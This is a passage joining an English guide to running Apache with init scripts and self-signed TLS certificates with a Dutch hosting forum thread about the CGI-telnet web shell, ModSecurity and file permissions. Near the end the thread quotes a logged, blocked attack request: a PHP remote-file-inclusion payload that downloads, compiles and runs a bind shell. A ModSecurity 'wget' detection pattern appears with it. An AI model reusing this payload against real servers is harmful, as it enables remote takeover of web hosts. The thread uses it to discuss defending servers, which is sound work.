#OPTIONS="-DSSL"
The "OPTIONS" parameter is used to start Apache with SSL support. If you want to run you web server with SSL support, then you have to uncomment this line and add the required certificate to the appropriated directory. This is all you need to do since the initialization file of Apache will take care of everything else for you. For now, this line must be commented out since we'll see later in this chapter how to run Apache with SSL support.
/etc/init.d/httpd: The Apache Initialization File
The /etc/init.d/httpd script file is responsible to automatically start and stop the Apache server on your Linux system. Loading the httpd daemon as a standalone daemon will eliminate load time and will even reduce swapping since non-library code will be shared.
Please note that the following script is suitable for Linux operating systems that use System V. If you Linux system use some other methods like BSD, you'll have to adjust the script bellow to make it work for you.
Step 1
Create the httpd script file (touch /etc/init.d/httpd) and add the following lines:
#!/bin/bash
# This shell script takes care of starting and stopping Apache.
#
# chkconfig: 345 85 15
# description: Apache is a World Wide Web server. It is used to serve \
# HTML files and CGI.
#
# processname: httpd
# config: /etc/httpd/conf/httpd.conf
# pidfile: /var/run/httpd.pid
# Source function library.
. /etc/init.d/functions
# Source networking configuration.
. /etc/sysconfig/network
# Source for additional options if we have them.
if [ -f /etc/sysconfig/httpd ] ; then
. /etc/sysconfig/httpd
fi
# This will prevent initlog from swallowing up a pass-phrase prompt if
# mod_ssl needs a pass-phrase from the user.
INITLOG_ARGS=""
# Check that networking is up.
[ ${NETWORKING} = "no" ] && exit 0
# If Apache is not available stop now.
[ -f /usr/sbin/httpd ] || exit 0
# Path to the Apache apachectl script and server binary.
apachectl=/usr/sbin/apachectl
httpd=/usr/sbin/httpd
RETVAL=0
prog="httpd"
start() {
echo -n $"Starting $prog: "
daemon $httpd $OPTIONS
RETVAL=$?
echo
[ $RETVAL = 0 ] && touch /var/lock/subsys/httpd
return $RETVAL
}
stop() {
echo -n $"Shutting down $prog: "
killproc $httpd
RETVAL=$?
echo
[ $RETVAL = 0 ] && rm -f /var/lock/subsys/httpd /var/run/httpd.pid
return $RETVAL
}
# See how we were called.
case "$1" in
start)
start
;;
stop)
stop
;;
status)
status $httpd
RETVAL=$?
;;
restart)
stop
start
RETVAL=$?
;;
condrestart)
if [ -f /var/run/httpd.pid ] ; then
stop
start
RETVAL=$?
fi
;;
*)
echo $"Usage: $0 {start|stop|status|restart|condrestart}"
exit 1
esac
exit $RETVAL
Step 2
Once the httpd script file has been created, it is important to make it executable, change its default permissions, create the necessary links and start it. Making this file executable will allow the system to run it, changing its default permission is to allow only the root user to change this file for security reason, and creation of the symbolic links will let the process control initialization of Linux which is in charge of starting all the normal and authorized processes that need to run at boot time on your system to start the program automatically for you at each reboot.
· To make this script executable and to change its default permissions, use the command:
[root@deep /]# chmod 700 /etc/init.d/httpd
[root@deep /]# chown 0.0 /etc/init.d/httpd
· To create the symbolic rc.d links for Apache, use the following command:
[root@deep /]# chkconfig --add httpd
[root@deep /]# chkconfig --level 345 httpd on
· To start Apache software manually, use the following command:
[root@deep /]# /etc/init.d/httpd start
Starting Apache: [OK]
Running Apache with TLS/SSL support
This section applies only if you want to run Apache through SSL connection. With the new release of Apache, we don't need anymore to use external program like mod_ssl to make it work with SSL support.
The new generation of Apache software comes with its own SSL module which is compiled and installed with the software. All we need to do is to enable the SSL module as we have already done with our configuration of the web server and create the required certificate to make it work. Below I show you how to set up a certificate to use with Apache.
Step 1
First you have to know the Fully Qualified Domain Name (FQDN) of the Apache web server for which you want to request a certificate. When you want to access your web server through www.domain.com then the FQDN of your Apache server is www.domain.com.
Step 2
Second, select five large and relatively random files from your hard drive (compressed log files are a good start) and put them under your /usr/share/ssl directory. These will act as your random seed enhancers. We refer to them as random1: random2:...: random5 below.
· To select five random files and put them under /usr/share/ssl, use the commands:
[root@deep /]# cp /var/log/boot.log /usr/share/ssl/random1
[root@deep /]# cp /var/log/cron /usr/share/ssl/random2
[root@deep /]# cp /var/log/dmesg /usr/share/ssl/random3
[root@deep /]# cp /var/log/messages /usr/share/ssl/random4
[root@deep /]# cp /var/log/secure /usr/share/ssl/random5
Step 3
Third, create the RSA private key not protected with a pass-phrase for the Apache server. The command below will generate 1024 bit RSA Private Key and stores it in the file www.key.
· To generate the Key, use the following commands:
[root@deep /]# cd /usr/share/ssl/
[root@deep ssl]# openssl genrsa -rand random1:random2:random3:random4:random5 -out www.key 1024
123600 semi-random bytes loaded
Generating RSA private key, 1024 bit long modulus
......................+++++
.....+++++
e is 65537 (0x10001)
Please backup your www.key file. A good choice is to backup this information onto a diskette or other removable media.
Step 4
Finally, generate a Certificate Signing Request (CSR) with the server RSA private key. The command below will prompt you for the X.509 attributes of your certificate. Remember to give the name www.domain.com when prompted for 'Common Name'. Do not enter your personal name here. We are requesting a certificate for a web server, so the Common Name has to match the FQDN of your website.
· To generate the CSR, use the following command:
[root@deep ssl]# openssl req -new -key www.key -out www.csr
Using configuration from /usr/share/ssl/openssl.cnf
Enter PEM pass phrase:
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [CA]:
State or Province Name (full name) [Quebec]:
Locality Name (eg, city) [Montreal]:
Organization Name (eg, company) [OpenNA, Inc.]:
Organizational Unit Name (eg, section) [OpenNA, Inc. Web Server]:
Common Name (eg, YOUR name) [www.openna.com]:
Email Address [noc@openna.com]:
Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:.
An optional company name []:.
Make sure you enter the FQDN (Fully Qualified Domain Name) of the server when OpenSSL prompts you for the "Common Name" (i.e. when you generate a CSR for a web server which will be later accessed via www.domain.com, enter www.domain.com here).
After generation of your Certificate Signing Request (CSR), you could send this certificate to a commercial Certifying Authority (CA) like Thawte or Verisign for signing. You usually have to post the CSR into a web form, pay for the signing, await the signed Certificate and store it into an www.crt file. The result is then a real certificate, which can be used for Apache.
Step 5
You are not obligated to send your Certificate Signing Request (CSR) to a commercial Certifying Authority (CA) for signing. In some cases and with Apache you can become your own Certifying Authority (CA) and sign your certificate by yourself. In the step below, I assume that your CA keys pair, which is required for signing certificate by yourself, already exists on the server, if this is not the case, please refer to the chapter related to OpenSSL in this book for more information about how to create your CA keys pair and become your own Certifying Authority (CA).
· To sign server CSR's in order to create real SSL certificates, use the following command:
[root@deep ssl]# /usr/share/ssl/misc/sign www.csr
CA signing: www.csr -> www.crt:
Using configuration from ca.config
Enter PEM pass phrase:
Check that the request matches the signature
Signature ok
The Subjects Distinguished Name is as follows
countryName :PRINTABLE:'CA'
stateOrProvinceName :PRINTABLE:'Quebec'
localityName :PRINTABLE:'Montreal'
organizationName :PRINTABLE:'OpenNA, Inc.'
organizationalUnitName:PRINTABLE:'OpenNA, Inc. Web Server'
commonName :PRINTABLE:'www.openna.com'
emailAddress :IA5STRING:'noc@openna.com'
Certificate is to be certified until Mar 15 07:15:45 2002 GMT (365 days)
Sign the certificate? [y/n]: y
1 out of 1 certificate requests certified, commit? [y/n] y
Write out database with 1 new entries
Data Base Updated
CA verifying: www.crt <-> CA cert
www.crt: OK
This signs the CSR and results in a www.crt file.
Step 6
Now, we must place the certificates files (www.key and www.crt) to the appropriate directories and change their default permission modes to be (0400/-r--------), owned by the user called 'www' for Apache to be able to find and use them when it will start its daemon.
· To place the certificates into the appropriate directory, use the following commands:
[root@deep ssl]# mv www.key private/
[root@deep ssl]# mv www.crt certs/
[root@deep ssl]# chmod 400 private/www.key
[root@deep ssl]# chmod 400 certs/www.crt
[root@deep ssl]# chown www.www private/www.key
[root@deep ssl]# chown www.www certs/www.crt
[root@deep ssl]# rm -f www.csr
First we move the www.key file to the private directory and the www.crt file to the certs directory. After that we change the permission mode and ownership of both certificates to be only readable and owned by the Apache user called 'www' for security reasons. Finally we remove the www.csr file from our system since it is no longer needed.
Step 7
To allow TLS/SSL-enabled connections with Apache, we must start its daemon with SSL support. This is possible by editing the /etc/sysconfig/httpd file and uncomments the related line as follow.
· Edit the httpd file (vi /etc/sysconfig/httpd), and change the line:
#OPTIONS="-DSSL"
To read:
OPTIONS="-DSSL"
Step 8
For Apache to know about the certificate files, we have to edit its httpd.conf file and inform it about the location of the certificate files to use for the encrypted connection. In our configuration of the web server, we have already defined the location of the certificates. Therefore we don't need to do it again but I prefer to show you how the configuration lines should look inside your httpd.conf file.
SSLCertificateFile /usr/share/ssl/certs/www.crt
SSLCertificateKeyFile /usr/share/ssl/private/www.key
In this example, www.crt is our web server Certificate Signing Request public key, and www.key is our web server RSA private key. Don't forget to configure the virtual section of httpd.conf to make the web server work and find the certificates for the corresponding site. You must configure the virtual section of the SSL part even if you don't use virtual hosting on your web server; this is a requirement for Apache to work with SSL support. Read the Apache documentation if you have some question about the way to do it.
Step 9
As you supposed to know now, SSL capability is available with Apache via module. We have to activate the module for the web server to run with SSL support. This is possible by uncomment the line related to the SSL module inside the httpd.conf file.
· Edit the httpd.conf file (vi /etc/httpd/httpd.conf), and change the line:
#LoadModule ssl_module modules/mod_ssl.so
To read:
LoadModule ssl_module modules/mod_ssl.so
Step 10
The Apache TLS/SSL-enabled connections run by default on port 443. To allow external traffic through this port (443), we must enable rules into our firewall script file for the web server to accept external secure connections on the system.
Step 11
Finally, we must restart our Apache server for the changes to take effect.
· To restart Apache use the following command:
[root@deep /]# /etc/init.d/httpd restart
Stopping Apache: [OK]
Starting Apache: [OK]
Of je er wat aan hebt weet ik niet, maar zulke richtlijnen houd ik aan als het niet om een plesk box gaat. Maarja wie ben ik
En het security aspect is? Apache installen via bovenstaande is praktisch de default manier. Maar dan kan je dus nog altijd met bovenstaand script naar hartnelust telnetten.
En dat wil ik nou voorkomen dus ik ben erg benieuwd of ik iets heb gemist.
Zelf wou ik CGI-telnet nooit vermelden bij mijn posts, omdat er ook veel klanten van webhosting firma's deze fora lezen en dat misschien wel eens willen uitproberen, met de gevolgen van dien. CGI-telnet is hetzelfde als system() met een commando, zonder bash, maar blijkbaar begrepen jullie "webhosters" dit niet in mijn vorige posts bij bijvoorbeeld het topic over SSH toelaten.
Volgens mij zal ModSecurity niet veel uithalen als er al geen deftige permissions op het filesysteem zitten. Zorg eerst voor deftige security op lager niveau dan met ModSecurity te beginnen.
Ziehier het gevolg van "de webserver met het controlpanel van x EUR en gedaan"
Origineel geplaatst door wv-
Zelf wou ik CGI-telnet nooit vermelden bij mijn posts, omdat er ook veel klanten van webhosting firma's deze fora lezen en dat misschien wel eens willen uitproberen, met de gevolgen van dien. CGI-telnet is hetzelfde als system() met een commando, zonder bash, maar blijkbaar begrepen jullie "webhosters" dit niet in mijn vorige posts bij bijvoorbeeld het topic over SSH toelaten.
Volgens mij zal ModSecurity niet veel uithalen als er al geen deftige permissions op het filesysteem zitten. Zorg eerst voor deftige security op lager niveau dan met ModSecurity te beginnen.
Ziehier het gevolg van "de webserver met het controlpanel van x EUR en gedaan"
Het grootste probleem is dat je niet alles kunt beveiligen. Files die dmv ftp bijv op de server verschijnen hebben standaard de rechten 640. Maar er zijn tig scripts die zeggen dat alles 777 moet zijn e.d.
En tja dan kan ik als host bepaalde zaken niet meer waarborgen,
Origineel geplaatst door Deimos
Het grootste probleem is dat je niet alles kunt beveiligen. Files die dmv ftp bijv op de server verschijnen hebben standaard de rechten 640. Maar er zijn tig scripts die zeggen dat alles 777 moet zijn e.d.
En tja dan kan ik als host bepaalde zaken niet meer waarborgen,
Ik zou toch eens de Unix basics manual doorlezen om het probleem op te lossen.
Voorbeeld:
Homedir - rechten - user group
/home - 710 - root web
/home/user - 710 - user www-data
/home/user/testfile - maaktnietuit - user web
www-data: apache group
web: primary group van user
Origineel geplaatst door wv-
Ik zou toch eens de Unix basics manual doorlezen om het probleem op te lossen.
Uiteraard al lang gedaan en heb het probleem ook inmiddels gevonden. Het account waarmee ik het één en ander heb getest stond in de wheel group. Dan heb je dus direct wat meer rechten ;).
Voorbeeld:
Homedir - rechten - user group
/home - 710 - root web
/home/user - 710 - user www-data
/home/user/testfile - maaktnietuit - user web
www-data: apache group
web: primary group van user
Bovenstaande is een oplossing, maar niet wanneer je zoals ik suphp en suexec draait. Dan kan je bepaalde zaken strakker regelen.
Kortom het was dus al op orde, teste gewoon met het verkeerde account :D.
Origineel geplaatst door Deimos
Uiteraard al lang gedaan en heb het probleem ook inmiddels gevonden. Het account waarmee ik het één en ander heb getest stond in de wheel group. Dan heb je dus direct wat meer rechten ;).
ik snapte het namelijk al niet waarom je zoveel rechten had :W:
Origineel geplaatst door Deimos
Bovenstaande is een oplossing, maar niet wanneer je zoals ik suphp en suexec draait. Dan kan je bepaalde zaken strakker regelen.
Niet echt, apache moet nog altijd toegang hebben vooraleer suPHP aangeroept kan worden.
Origineel geplaatst door Wido
Ik heb er mee getest, maar vind het een "lijm-middel".
Je beveiliging op OS niveau moet gewoon goed zijn en niet een POST en GET filter, dat lijkt me niet echt een goede oplossing.
Maar dat is mijn mening.
Lijm middel? Zeker niet maar uiteraard ook geen geval 'cpanel installeren en klaar'. Het is zoals ik al heb vermeld een extra 'security layer'. Enkel ModSecurity is natuurlijk niet toereikend en natuurlijk moeten je file permissies bij voorbaat al in orde zijn.
wv-, in 'security through obscurity' heb ik nooit gelooft. Ik doel op je post over het niet willen vermelden van cgi-telnet. Dit is wel de bekendste(public) en er bestaan wel meerdere (meer geavanceerd) van dit soort utils die niet zomaar te verkrijgen zijn. Het zijn deze tools die ik niet hier of persoonlijk aan iemand zal vermelden.
Ik denk dat deze post in ieder geval een hoop 'hosters' heeft wakker geschud en dat was uiteindelijk de bedoeling. SECURE YOUR BOXES NOW!
Origineel geplaatst door Domenico
Ik denk dat deze post in ieder geval een hoop 'hosters' heeft wakker geschud en dat was uiteindelijk de bedoeling. SECURE YOUR BOXES NOW!
Wanneer ze geld hebben voor het uit te besteden omdat ze zelf alleen maar cpanel kennen? :)
Origineel geplaatst door wv-
Wanneer ze geld hebben voor het uit te besteden omdat ze zelf alleen maar cpanel kennen? :)
Hopelijk is dit niet de trieste waarheid. :(
Maar als ik zie dat de botnet's alleen maar groter worden kunnen we het ergste vrezen.
Origineel geplaatst door Domenico
Hopelijk is dit niet de trieste waarheid. :(
Maar als ik zie dat de botnet's alleen maar groter worden kunnen we het ergste vrezen.
Uhuh :D, ik zie de chans ook steeds groter worden :eek: :W:
Origineel geplaatst door Domenico
Dit is wel de bekendste(public) en er bestaan wel meerdere (meer geavanceerd) van dit soort utils die niet zomaar te verkrijgen zijn. Het zijn deze tools die ik niet hier of persoonlijk aan iemand zal vermelden.
Denk dat degene die hier echt mee bezig zijn het ook wel weten welke tools, er zijn er genoeg, wat dacht je van die include meuk waarmee ook een hoop kan. Denk dat de gemiddelde hoster zich echt wel dieper moet gaan steken in security. Wat hierboven al aangegeven werd dat men niet verder komt dan cpanel installeren, denk dat dat de harde waarheid nu eenmaal is.
Origineel geplaatst door Mikey
Denk dat degene die hier echt mee bezig zijn het ook wel weten welke tools, er zijn er genoeg, wat dacht je van die include meuk waarmee ook een hoop kan. Denk dat de gemiddelde hoster zich echt wel dieper moet gaan steken in security. Wat hierboven al aangegeven werd dat men niet verder komt dan cpanel installeren, denk dat dat de harde waarheid nu eenmaal is.
Eens hun server gekraakt is, zullen ze misschien wel eens kijken naar het security aspect.
ModSecurity kan nu ook via de Current (C55) release van Cpanel geïnstalleerd worden via WHM (cPanel 9.9.0-C55 -> Addon Modules)
Origineel geplaatst door wv-
Eens hun server gekraakt is, zullen ze misschien wel eens kijken naar het security aspect.
mjah dan zijn ze helaas te laat :W: :X
Hier een van de vele voorbeelden waar ModSecurity goed voor kan zijn:
HTTP/1.1
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
========================================
Request: 193.95.229.34 - - [29/Sep/2004:15:10:36 +0200] "GET /guestbook/include/livre_include.php?no_connect=lol&chem_absolu=http://********/jmascare/cmd.txt?&cmd=cd%20/usr/tmp;wget%20http://www.*******.org/archives/konewka/mybindshell.c;gcc%20mybindshell.c%20-o%20bind;./bind HTTP/1.1" 500 0
Handler: server-parsed
Error: File does not exist: /home/********/public_html/500.shtml
----------------------------------------
GET /guestbook/include/livre_include.php?no_connect=lol&chem_absolu=http://*********/jmascare/cmd.txt?&cmd=cd%20/usr/tmp;wget%20http://www.*******.org/archives/konewka/mybindshell.c;gcc%20mybindshell.c%20-o%20bind;./bind HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Accept-Encoding: gzip, deflate
Accept-Language: en-us
Connection: Keep-Alive
Host: www.*************.biz
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts-MyWay; .NET CLR 1.1.4322)
mod_security-message: Access denied with code 500. Pattern match "wget\x20" at THE_REQUEST.
mod_security-action: 500
Uiteraard doet de juiste filepermissie voor wget ook wonderen. ;)
'k Heb die mod_security geinstalld, maar die cgi-telnet draait nog gewoon door hoor. Is er een mogelijkheid om die helemaal onmogelijk te maken, zonder CGI te disabelen?
Origineel geplaatst door os2lover
'k Heb die mod_security geinstalld, maar die cgi-telnet draait nog gewoon door hoor. Is er een mogelijkheid om die helemaal onmogelijk te maken, zonder CGI te disabelen?
Klopt, je moet nog wel wat filters toevoegen wil cgi-telnet niet meer werken. :)
Origineel geplaatst door wv-
Ik zou toch eens de Unix basics manual doorlezen om het probleem op te lossen.
Voorbeeld:
Homedir - rechten - user group
/home - 710 - root web
/home/user - 710 - user www-data
/home/user/testfile - maaktnietuit - user web
www-data: apache group
web: primary group van user
Ik dacht dat het aan mij lag, maar als ik /home op 710 chmod werkt de ftp access niet meer hoor. 711 werkt wel gewoon goed.
/home - 710 - root web
De gebruiker moet dus in de groep web zitten
Origineel geplaatst door Qubix
ModSecurity kan nu ook via de Current (C55) release van Cpanel geïnstalleerd worden via WHM (cPanel 9.9.0-C55 -> Addon Modules)
Inderdaad, maar ModSecurity installeren is het makkelijke deel :)
We zijn er enkele weken geleden mee bezig geweest en binnen no time, vloog de debug-file over ons scherm en talloze sites waren niet meer bereikbaar (leuk om te leren dat klanten een submap /etc/ aanmaken in hun account :) ). Te scherp afgesteld dus. Ik heb nu een handleiding van een pagina of 32 liggen waarmee we de finetuning wat beter moeten kunnen beheersen, maar het probleem waar wij tegen aan liepen :
Zodra je dit implementeert op een productieserver kom er je achter wat er allemaal gefiltert wordt (en ook legitieme zaken zoals het posten van een HTTP link. Niet als PHP-injectie maar als href in een cms bv.).
Overigens waren we ook bij ModSecurity uitgekomen omdat we tegen een CGITELNET waren aangelopen en ons afvroegen hoe we dit in Perl konden afschermen (in PHP kan dit iets gemakkelijker).
In de discussie : Staat jullie SSH toe? Van deze klanten weet ik wie ze zijn, CGITELNET wordt door mensen zelf geupload en is dus niet wenselijk (ook niet controleerbaar), dus noodzaak tot het disablen.
Hier is SSH alleszins niet toegestaan.
Origineel geplaatst door os2lover
Hier is SSH alleszins niet toegestaan.
Hier alleen na opgaaf reden en met kopie legitimatie. Effectief heeft nog geen 3% van onze klanten dit daadwerkelijk aanstaan.
Maar zie hiervoor een andere discussie : http://www.webhostingtalk.nl/showthread.php?threadid=57461&perpage=15&pagenumber=2
Origineel geplaatst door Dillard
In de discussie : Staat jullie SSH toe? Van deze klanten weet ik wie ze zijn, CGITELNET wordt door mensen zelf geupload en is dus niet wenselijk (ook niet controleerbaar), dus noodzaak tot het disablen.
Wij doen geen Linux/Unix hosting, maar als we dat zouden doen is ssh toegang niet toegestaan.
Ik kan geen enkele reden bedenken om ssh toegang te verlenen:
* filepermissies zetten (chmod)
* directories aanmaken
* wijzigen van bestanden
kan allemaal met een fatsoenlijke FTP client.
Zaken als het lezen van e-mail doe je met een client en een klant heeft niets aan het kunnen opvragen van draaiende processen, systeem load, mem. usage, enz.
Maar er zijn ook nog steeds hosters die zelfs telnet toegang verlenen (sigh).
Origineel geplaatst door Deimos
Hoe voorkom je dan dat bovenstaand script bijv draait? Want daarmee kan je dus gewoon willekeurige bestanden catten :S.
Je zou je apache ook in een chroot kunnen draaien.Dat scheelt ook al een hoop problemen mochten ze toch binnen komen op een of andere manier, geld ook voor andere services als dns, sql en mail servers.
Domenico:
Weet jij een goede filter om cgi-telnet te disablen? En dus niet alleen deze soort maar ook andere soorten?